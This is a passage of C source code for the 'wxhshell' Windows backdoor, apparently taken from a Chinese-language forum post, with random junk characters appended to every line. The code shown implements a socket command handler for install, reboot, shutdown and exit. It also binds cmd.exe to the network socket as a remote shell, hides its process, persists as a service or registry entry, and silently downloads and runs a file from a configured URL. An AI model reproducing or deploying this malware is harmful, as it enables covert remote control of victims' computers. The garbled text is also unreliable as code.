Z]Y4NO;  
    switch(cmd[0]) { `#f=&S?k  
  caP  
  // 帮助 |z'?3?,~  
  case '?': { .#@Dn(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m\f_u*  
    break; (*ng$z Z$  
  } nADd,|xD3  
  // 安装 /ZDc=>)~  
  case 'i': { 5\S7Va;W  
    if(Install()) sV<4^n7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w b[(_@eZ  
    else X W)A~wPBs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =5`@:!t7  
    break; /)1-^ju  
    } dO[4}FZ$  
  // 卸载 gp)ds^  
  case 'r': { `VsGa  
    if(Uninstall()) Lm|X5RVq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X2[cR;;'  
    else j 7 URg>i0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nrIL_  
    break; !cb#fl  
    } uE j6A  
  // 显示 wxhshell 所在路径 {wP|b@(1t  
  case 'p': { hBhkb ~Oky  
    char svExeFile[MAX_PATH]; 6\;1<Sw*  
    strcpy(svExeFile,"\n\r"); ra>`J_  
      strcat(svExeFile,ExeFile); .LhmYbQ2WE  
        send(wsh,svExeFile,strlen(svExeFile),0); CiI: uU  
    break; _w;+Jh  
    } :Y>] 6  
  // 重启 L_mqC(vn  
  case 'b': { G 7]wg>*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bx- ,"Z \  
    if(Boot(REBOOT)) zfb _ )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NU [DHrMP  
    else { mj=|oIMwT  
    closesocket(wsh); BA-nxR  
    ExitThread(0); H4NEB1 TO>  
    } )F9r?5}v4x  
    break; %, et$1`g  
    } 3+3m`%G  
  // 关机 Y}uQ`f  
  case 'd': { ~ fEs!hl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s RQh~5kM  
    if(Boot(SHUTDOWN)) ok[=1gA#h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7R&J'SAY  
    else { t3$gwO$  
    closesocket(wsh); JF%=Bc$C  
    ExitThread(0); 3|Sy'J0'K  
    } Uob|Q=MQ  
    break; Ok&>[qu  
    } HY;?z `=  
  // 获取shell %uVJL z  
  case 's': { 1:zu$|%7  
    CmdShell(wsh); g@i>R>  
    closesocket(wsh); 4D$sFR|?t  
    ExitThread(0); Pki4wDCTW  
    break; "GI&S%F  
  } V2{#<d-T!  
  // 退出 4oV_b"xz~  
  case 'x': { &hN&nH"PC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (V.,~t@  
    CloseIt(wsh); $sF#Na4^  
    break; e[mhbFf-  
    } j9ta0~x1*6  
  // 离开 4V|z)=)A  
  case 'q': { yM:~{;HLF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O6,"#BX  
    closesocket(wsh); Hu8atlpo  
    WSACleanup(); F.pHL)37  
    exit(1); 5`'=Ko,N  
    break; 9C}aX}`  
        } 4c[)}8\  
  } 6BU0hV  
  } ^>8]3@ Nh  
&17,]#3  
  // 提示信息 t"/"Ge#a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WG/J4H`Od  
} iWM7, =1+  
  } c4>sE[]  
.xkV#ol  
  return; #r.` V!=  
} Pgw%SMEp  
RyOT[J  
// shell模块句柄 ;Z1U@2./  
int CmdShell(SOCKET sock) (SsH uNt.  
{ !Vr45l  
STARTUPINFO si; =j+oKGkoCa  
ZeroMemory(&si,sizeof(si)); Ge:-|*F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e9@fQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _Sgk^i3v  
PROCESS_INFORMATION ProcessInfo; `bZU&A(`Be  
char cmdline[]="cmd"; E)Qh]:<2v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PR@4' r|a  
  return 0; 7s8<FyFsjd  
} R #3Q$   
.\~P -{Hd  
// 自身启动模式 w$lfR ,  
int StartFromService(void) 4nII/cPG  
{ z[\W\g*|ri  
typedef struct FW)^O%2s  
{ 8jjk?PUD8  
  DWORD ExitStatus; '!^E92  
  DWORD PebBaseAddress; N _~KZQ11^  
  DWORD AffinityMask; Uty(sDtu  
  DWORD BasePriority; q"+ q  
  ULONG UniqueProcessId; K>R;~ o  
  ULONG InheritedFromUniqueProcessId;  m-'(27  
}   PROCESS_BASIC_INFORMATION; `}9 1S  
ra%R:xX  
PROCNTQSIP NtQueryInformationProcess; w <#*O:  
ECS<l*i57&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Naf`hE9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !*?(Q6  
O:,2OMB}B`  
  HANDLE             hProcess; a\&(Ua  
  PROCESS_BASIC_INFORMATION pbi; Ukx/jNyYv  
tC?A so  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1(?CNW[  
  if(NULL == hInst ) return 0; }^pQbFku  
zh^jWu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #'4<> G]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pcuMGo-#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yF/< :  
-.b Io  
  if (!NtQueryInformationProcess) return 0; HTUYvU*-  
p&OJa$N$[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V+=*2?1  
  if(!hProcess) return 0; v$)@AE  
/=muj9|+s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HTDyuqs  
7"n)/;la  
  CloseHandle(hProcess); 6)#- 5m  
rKzv8d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +e0dV_T_>  
if(hProcess==NULL) return 0; | or 8d>,  
T$n>7X-r  
HMODULE hMod; wWJQ ~i?  
char procName[255]; xxLgC;>[  
unsigned long cbNeeded; _b!;(~ @p  
Nxbd~^j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xH"W}-#[  
?GUz?'d  
  CloseHandle(hProcess); Siz!/O!'  
r*i$+ Z  
if(strstr(procName,"services")) return 1; // 以服务启动 {{.sEi*  
Y( 1L>4  
  return 0; // 注册表启动 V#gF*]q  
} ~'^!udF-  
:7$\X[  
// 主模块 `R=a@DQ  
int StartWxhshell(LPSTR lpCmdLine) {DEzuU  
{ ZL-uwI!`D  
  SOCKET wsl; vh|Tb5W<  
BOOL val=TRUE; 5W[3_P+  
  int port=0; P\22op_te-  
  struct sockaddr_in door; +}c|O+6g  
CJMaltPp&  
  if(wscfg.ws_autoins) Install(); W(uP`M%][0  
QJM-`(  
port=atoi(lpCmdLine); $[M} K  
jiA5oX^g  
if(port<=0) port=wscfg.ws_port; U`bC>sCp  
_W@,@hOH  
  WSADATA data; )Lc<;=w'9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 85r)>aCMn  
f MY;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ).0V%}>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F!OOrW]p0  
  door.sin_family = AF_INET; a%7"_{s1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1<LC8?wt  
  door.sin_port = htons(port); %_B:EMPd  
9RG\UbX)^|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s{(ehP.Dd  
closesocket(wsl); c }<*~w;  
return 1; S|K |rDr0n  
} >]Mq)V9  
oupJJDpP  
  if(listen(wsl,2) == INVALID_SOCKET) { =cf{f]N  
closesocket(wsl); LPEjRG,  
return 1; T&9`?QD  
} c;c:Ea5  
  Wxhshell(wsl); P$p@5hl  
  WSACleanup(); D^66p8t  
8_xnWMOe  
return 0; Sk8%(JD7  
o"'iX UJ  
} %B#hb<7}  
Z |2E b*  
// 以NT服务方式启动 &mh Ln4^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d^KBIz8$5l  
{ ]s*5[ =uc2  
DWORD   status = 0; 3C277nx  
  DWORD   specificError = 0xfffffff; KqN!?anPr  
5a=nF9/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .cw!ls7d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kRmj"9oA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 25xcD1*  
  serviceStatus.dwWin32ExitCode     = 0; wn &$C0  
  serviceStatus.dwServiceSpecificExitCode = 0; HA$Y1}  
  serviceStatus.dwCheckPoint       = 0; r#LnDseW  
  serviceStatus.dwWaitHint       = 0; y._'K+nl  
sW;7m[o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rs[?v*R74  
  if (hServiceStatusHandle==0) return; @4;HC=~  
_FL<egK  
status = GetLastError(); "Jb3&qdU  
  if (status!=NO_ERROR) LWD.  
{ E9^(0\Z I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^4+r*YvcM  
    serviceStatus.dwCheckPoint       = 0; ;LHDh_.pX  
    serviceStatus.dwWaitHint       = 0; pU M&"V  
    serviceStatus.dwWin32ExitCode     = status; VVs{l\$=ZV  
    serviceStatus.dwServiceSpecificExitCode = specificError; HDyQzCG,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 48wDf_<f5=  
    return; 0;}Aj8Fle  
  } ?sV[MsOsC  
Kn']n91m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |}Q( F+cL  
  serviceStatus.dwCheckPoint       = 0; Af`z/:0<  
  serviceStatus.dwWaitHint       = 0; W&<g} N+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $v FrUv  
} {5SfE$r  
hO#HvW  
// 处理NT服务事件,比如:启动、停止 ] } '^`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aw1P5aPmX  
{ ir]Mn.(Y  
switch(fdwControl) <#>Oy&E  
{ "cwR^DoD&  
case SERVICE_CONTROL_STOP: f:xUPH?+  
  serviceStatus.dwWin32ExitCode = 0; =KV@&Y^x4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?~!tM}X0:3  
  serviceStatus.dwCheckPoint   = 0; u0xQ;BQ  
  serviceStatus.dwWaitHint     = 0; *]5z^> q;7  
  { ]K7`-p~T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x7f:F.  
  } !;i*\ a  
  return; 5!~!j "q  
case SERVICE_CONTROL_PAUSE: S0F@#mSQ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6{Ks`Af  
  break; +Z ><  
case SERVICE_CONTROL_CONTINUE: Gi*<~`Gr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P2On k l  
  break; |H:<:*=6c  
case SERVICE_CONTROL_INTERROGATE: s,w YlVYf!  
  break; 9GThyY  
}; 0Su_#".-*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9X3yp:>V  
} ~]4kkm7Y  
( ]OFS;%  
// 标准应用程序主函数 K<#-"Xe;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3)y{n%3L  
{ Lj iI+NJ  
(Q'U@{s  
// 获取操作系统版本 L7m`HVCt&  
OsIsNt=GetOsVer(); JPLI @zX^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7ZQ'h3K  
r]0(qg  
  // 从命令行安装 `0?^[;[u[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9<v}LeX  
E[UO5X  
  // 下载执行文件 u^l*5F%DK  
if(wscfg.ws_downexe) { 7gm:ZS   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lcCJ?!lsSW  
  WinExec(wscfg.ws_filenam,SW_HIDE); U,HIB^= R  
} 9Fk4|+OJ  
%lV@:"G  
if(!OsIsNt) { [7RheXO <  
// 如果时win9x,隐藏进程并且设置为注册表启动 WV2~(/hX&  
HideProc(); O] H=s  
StartWxhshell(lpCmdLine); E`tQe5K  
} p'80d:  
else E3f9<hm   
  if(StartFromService()) AVv#\JrRW  
  // 以服务方式启动 TMww  
  StartServiceCtrlDispatcher(DispatchTable); { UOhVJy  
else WO@H*  
  // 普通方式启动 YN^T$,*  
  StartWxhshell(lpCmdLine); {S *!B  
6Hwxx5>r  
return 0; D M}s0O$ 0  
}
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只看该作者 1 发表于: 2006-10-10
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